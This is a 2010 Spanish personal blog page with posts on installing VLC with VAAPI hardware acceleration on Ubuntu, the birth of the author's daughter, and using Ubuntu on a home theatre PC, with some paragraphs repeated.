Hace un par de semanas se ha liberado la versión 1.1.1 de VLC con soporte VAAPI. Si queréis instalarlo podéis seguir estas instrucciones. Simplemente consiste en añadir un nuevo repositorio e instalar VLC desde él. Aún así esta versión no está compilada con soporte VAAPI. También nos podemos descargar una versión con el soporte vaapi habilitado, pero según podemos leer en el enlace anterior, se "romperán" el resto de reproductores de video y paquetes que utilicen la versión de ffmpeg de los repositorios de Ubuntu. La única solución sería recompilarlos todos contra la nuevas versión de ffmpeg.
Now, regarding vaapi (GPU acceleration): you basically can't compile VLC 1.1.0 with vaapi support without breaking stuff. To get it to work with vaapi, it would need newer ffmpeg packages which would mean every package using the ffmpeg packages in the Ubuntu official repository would be broken unless it is compiled against the same ffmpeg package (so you would need to either compile every package that uses ffmpeg yourself or a PPA should package all these packages - which is practically impossible).Así que nada. Tendremos que esperar a que se actualicen todos los programas de los repos antes de poder probar la aceleración hardware con VLC.
There is a PPA which packages VLC 1.1.0 with vaapi support as well as fixed mplayer to work with the new ffmpeg/gstreamer. But since this PPA only has VLC and mplayer, it means that other video players / video editors will stop working if you use the following PPA and for this reason I won't post instructions for installing it here. You can however find both the PPA and exact instructions for installing VLC 1.1.0 with vaapi support, HERE. Remember: using it, a lot of applications will be broken! Also, the VLC package in the Cutting Edge Multimedia PPA (not the C-Korn PPA we posted in the begining of the post - that's stable and doesn't break anything!) doesn't yet have the latest VLC 1.1.0 but a GIT version dating back to June 16 - that's still very close to the final version.
Conclusiones
Sabía que acelerar los vídeos por GPU iba a suponer que la CPU prácticamente estuviera descansando, aún así el resultado me ha sorprendido gratamente. Además, por fin parece que ATI proporciona unos drivers que funcionan en Linux. Son propietarios y cerrados y sería estupendo que fueran libres, pero al menos, los que decidimos apostar por ATI y Linux no nos sentimos abandonados como hace unos años cuando ATI en Linux era sinónimo de problemas y quebraderos de cabeza. Aún recuerdo cuando monté mi ordenador "de sobremesa" hace ya más de tres años, que elegí una NVidia sin dudarlo por la multitud de problemas que había con ATI en Linux. En fin, los tiempos cambian, por fortuna a mejor, para los usuarios de Linux :-).
| Reacciones: |
sábado 17 de julio de 2010
¡Ha nacido Adriana!
El pasado 5 de Julio a las 01:20 AM nació por parto natural Adriana. Pesó 3,120 Kg y midió 48 cm. Ahora que se me está terminando la baja de paternidad saco un hueco para escribir y contarlo. La niña y mi mujer están bien y ahora estamos adaptándonos a la situación. Judith parece que se lo está tomando bastante bien y de momento mira con curiosidad a su hermanita, la acaricia y le da besitos. Iremos viendo poco a poco cómo va evolucionando la situación.
Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): http://adrianalopezbre.blogspot.com.

Como no iba a ser menos, Adriana ya tiene creado su blog en el que iremos poniendo fotos para que las vea la familia (y por supuesto todo el que quiera!): http://adrianalopezbre.blogspot.com.

jueves 1 de julio de 2010
Ubuntu en el HTPC. ¡Ahora sí!
Hace prácticamente un año que escribí el artículo HTPC para el salón. En él comentaba que había montado un HTPC y que le había instalado Windows XP, pero que había dejado una partición para Linux. Además, probé un live-cd de Ubuntu pero no me llegó a ir del todo bien y al final lo fui dejando pasar.
Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).
Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...
Actualización: Como dice luischenco en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para Judith), por lo que todo eso no me aporta nada.
El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.
Resulta, que como siempre pasa en Windows con el paso del tiempo, el sistema se va degradando y deja de funcionar. Es algo que me extrañó porque en el HTPC no instalaba nada, sólo lo mínimo imprescindible para funcionar y para que el ordenador arrancase rápido. Aún así, hace unos 3-4 meses empezó a resetearse de vez en cuando sin motivo aparente. Así que cogí un live-cd de Ubuntu 9.10, lo instalé y me puse a configurarlo. Después de pegarme bastante, al final logré dejar todo funcionando, incluso sacando el audio por la salida óptica enganchada al ampli en 5.1 :-D. Luego, después de que saliera Ubuntu 10.04, formatee, instalé todo de cero y configuré de nuevo (esta vez fue todo más rápido y sencillo).
Después de llevar utilizando Ubuntu como media center estos últimos meses he de decir que no tiene nada que envidiar a Windows. Todos los codecs funcionan, el audio en 5.1 sin problemas e incluso la aceleración de videos en HD, algo que cuando arrancaba con windows nunca fui capaz de conseguir. Pero esto tendrá que esperar a la siguiente entrada...
Actualización: Como dice luischenco en los comentarios, ni siquiera he contado el software que estoy utilizando. La verdad es que no estoy utilizando ninguno!. Me explico. He probado XBMC y Boxee y ninguno me ha terminado de convencer. Sí, son muy bonitos y están muy bien hechos, pero no son para mi. Yo el htpc lo utilizo como "almacen temporal" de pelis y series, no las guardo para siempre, por lo que no necesito tener las carátulas, la sinopsis, la información de los actores,... Como he dicho, es muy chulo, pero nada más. En el htpc no tengo música, ni fotos y nada más, sólo series y pelis (y dibus para Judith), por lo que todo eso no me aporta nada.
El software que utilizo: 3 accesos directos en el escritorio a las pelis, series y dibujos, y luego doble-clic en el archivo que quiero abrir, así de sencillo. Por defecto se abre con VLC y si quiero aceleración hardware lo lanzo con mplayer desde línea de comandos. Así de simple.
| Reacciones: |
Suscribirse a:
Entradas (Atom)